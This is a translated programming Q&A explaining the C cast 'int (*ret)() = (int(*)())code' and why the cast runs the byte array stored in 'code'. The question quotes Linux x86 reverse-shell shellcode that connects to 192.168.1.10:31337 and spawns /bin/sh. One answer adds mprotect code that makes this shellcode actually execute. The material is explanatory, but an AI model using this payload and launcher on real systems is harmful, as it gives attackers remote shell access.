int(* ret)()=(int(*)())代码是什么意思?

时间:2014-02-22 07:42:19

标签: c exploit shellcode

以下是shellstorm的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

任何人都可以帮我解释一下这个“int( ret)()=(int()())代码;” ? 它是如何工作的?为什么它可以使上面的代码运行?

6 个答案:

答案 0 :(得分:8)

int(*ret)()

声明一个名为ret的函数指针;该函数接受未指定的参数并返回一个整数。

(int(*)())code

code数组转换为相同类型的函数指针。

因此,这会将code数组的地址转换为函数指针,然后允许您调用它并执行代码。

请注意,这是技术上未定义的行为,因此它不会 以这种方式工作。但这实际上是所有实现编译此代码的方式。像这样的Shellcodes不可能是可移植的 - code数组中的字节取决于CPU架构和堆栈帧布局。

答案 1 :(得分:4)

你应该阅读一本好的C编程书。

int (*ret)()声明一个指向函数的指针,返回一个int -without指定参数(在C中)

然后= (int(*)())code;正在初始化ret,其地址为code

最后ret();正在调用该函数指针,因此调用code数组中的机器代码。

BTW,编译器(和链接器)可能会将code置于只读但不可执行的段中(这可能取决于程序的链接方式)。然后你的shell代码可能无效。

答案 2 :(得分:2)

int (*ret)()

将函数指针ret定义为返回带有未指定数量的参数的int的函数。

... = (int(*)())code;

unsigned char - 数组code强制转换为ret所引用的函数类型并将其分配给ret

此次电话

ret();
然后

执行存储在code

中的操作码

总而言之,这不是一件好事。

答案 3 :(得分:1)

int (*ret)() = (int(*)())code;

int (*ret)()定义一个指向一个函数的指针,该函数返回int并且具有未指定数量的参数; (int(*)())code是类型转换,让其他部分可以将code视为函数指针,与ret的类型相同。

顺便说一句,取决于code的内容,此代码可能仅适用于特定的CPU和操作系统组合,如果它甚至可以正常工作。

答案 4 :(得分:1)

您的程序将产生未定义的行为。 C99规范,第6.2.5节,第27段说:

  

指向void的指针应具有相同的表示和对齐方式   要求作为指向字符类型的指针。同样,指向   兼容类型的合格或不合格版本应具有   相同的表示和对齐要求。所有指针   结构类型应具有相同的表示和对齐方式   彼此的要求。所有指向union类型的指针都应该有   相同的表示和对齐要求。指针   其他类型不需要具有相同的表示或对齐   要求。

此外,在第6.3.2.3节第8段中,它还说:

  

指向一种类型的函数的指针可以转换为指向a的指针   另一种类型的功能又回来了;结果应该比较   等于原始指针。

这意味着您不应该将函数指针分配给非函数指针,因为函数指针的大小不能保证与char指针或void的大小相同。指针。现在把这些东西放在一边,让我们来看看你的代码。

int (*ret)() = (int(*)())code;

我们先来看看lhs。因此,它将ret定义为一个指向函数的指针,该函数采用固定但未知的数字和类型的参数(听起来不太好)。在rhs上,您将对数组code进行类型转换,该数组计算指向其第一个元素的指针,其类型与ret相同。这是未定义的行为。由于上述原因,只能将函数指针分配给函数指针,而不是指向任何其他类型的指针。此外,由于这个原因,sizeof运算符可能无法精确地应用于函数指针。

C++中,空参数列表表示void,但C中的情况并非如此,这意味着没有信息可用于检查调用者提供的参数列表。因此,您必须明确提及void。因此,您应该更好地编写该语句,假设您已经在程序中定义了一个名为code的函数。

int code(void); 
int (*ret)(void) = (int(*)(void))code;

为了简化有关复杂C声明的内容,typedef可能会有所帮助。

typedef int (*myfuncptr)(void); 

这将类型myfuncptr定义为pointer to a function taking no arguments and returning an int类型。接下来,我们可以定义myfuncptr类型的变量,就像我们在C中定义任何类型的变量一样。但请注意,code必须与函数ret指向的类型具有相同的签名。如果使用myfuncptr强制转换任何其他类型的函数指针,则会导致未定义的行为。因此,这使得类型转换变得多余。

int code(void);
int foo(int);

myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
myfuncptr bar = (myfuncptr)foo;  // undefined behaviour.

当您将函数名称指定给相同类型的函数指针时,函数名称将计算为指针。您不需要使用运算符&的地址。类似地,您可以调用指针指向的函数,而不首先取消引用它。

ret();     // call the function pointed to by ret
(*ret)()   // deferencing ret first.

请详细阅读此内容 - Casting a function pointer to another type。这是关于如何精神分析复杂C声明 - Clockwise/Spiral Rule的良好资源。 另请注意,C标准仅列出main的两个可接受签名:

int main(void);
int main(int argc, char *argv[]);

答案 5 :(得分:1)

int (*)()是指向具有以下原型的函数的指针的类型:

int func();

由于解析语言的方式和运算符的优先级,必须将星号放在括号中。同样,当声明该类型的指针变量时,变量的名称位于星号之后,而不是在类型之后,例如,它不是

int (*)() ret;

而是

int (*ret)();

在你的情况下,ret变量都被声明并初始化为涉及类型转换。

要通过函数指针调用函数,您可以使用更复杂的语法:

(*ret)();

或更简单的一个:

ret();

使用前一种语法是首选,因为它向读者表明ret实际上是指向函数的指针,而不是函数本身。

现在,原则上代码实际上不起作用。 code[]数组放置在初始化数据段中,在大多数现代操作系统中,该数据段不可执行,即调用ret();应该产生分段错误。例如。 Linux上的GCC将code变量放在.data部分:

.globl code
    .data
    .align 32
    .type   code, @object
    .size   code, 93
code:
    .string "1\3001\3331...\200"

然后.data部分进入一个不可执行的读写段:

$ readelf --segments code.exe

Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001c0 0x00000000000001c0  R E    8
  INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000000064c 0x000000000000064c  R E    100000
  vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
  LOAD           0x0000000000000650 0x0000000000500650 0x0000000000500650
                 0x0000000000000270 0x0000000000000278  RW     100000
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  DYNAMIC        0x0000000000000678 0x0000000000500678 0x0000000000500678
                 0x0000000000000190 0x0000000000000190  RW     8
  NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
                 0x0000000000000020 0x0000000000000020  R      4
  GNU_EH_FRAME   0x0000000000000594 0x0000000000400594 0x0000000000400594
                 0x0000000000000024 0x0000000000000024  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
          .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
          .rodata .eh_frame_hdr .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   04     .dynamic
   05     .note.ABI-tag
   06     .eh_frame_hdr
   07     

该段缺少可执行标志,即它只是RW而不是RWE,因此无法从该内存执行代码。实际上,运行程序会导致存储在code

中的第一条指令出错
(gdb) run
Starting program: /tmp/code.exe 
Shellcode Length: 92

Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1  0x00000000004004a7 in main () at code.c:27
27     ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>

要使其正常工作,您可以使用posix_memalignmprotect的组合来分配内存页面并使其可执行,然后将code[]的内容复制到那里:

// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>

size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();

printf("Shellcode Length: %d\n", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();

另请注意,shell代码使用int 0x80来调用Linux内核。如果程序是在64位Linux系统上编译的,那么这将不会开箱即用,因为使用不同的机制来进行系统调用。在这种情况下应指定-m32以强制编译器生成32位可执行文件。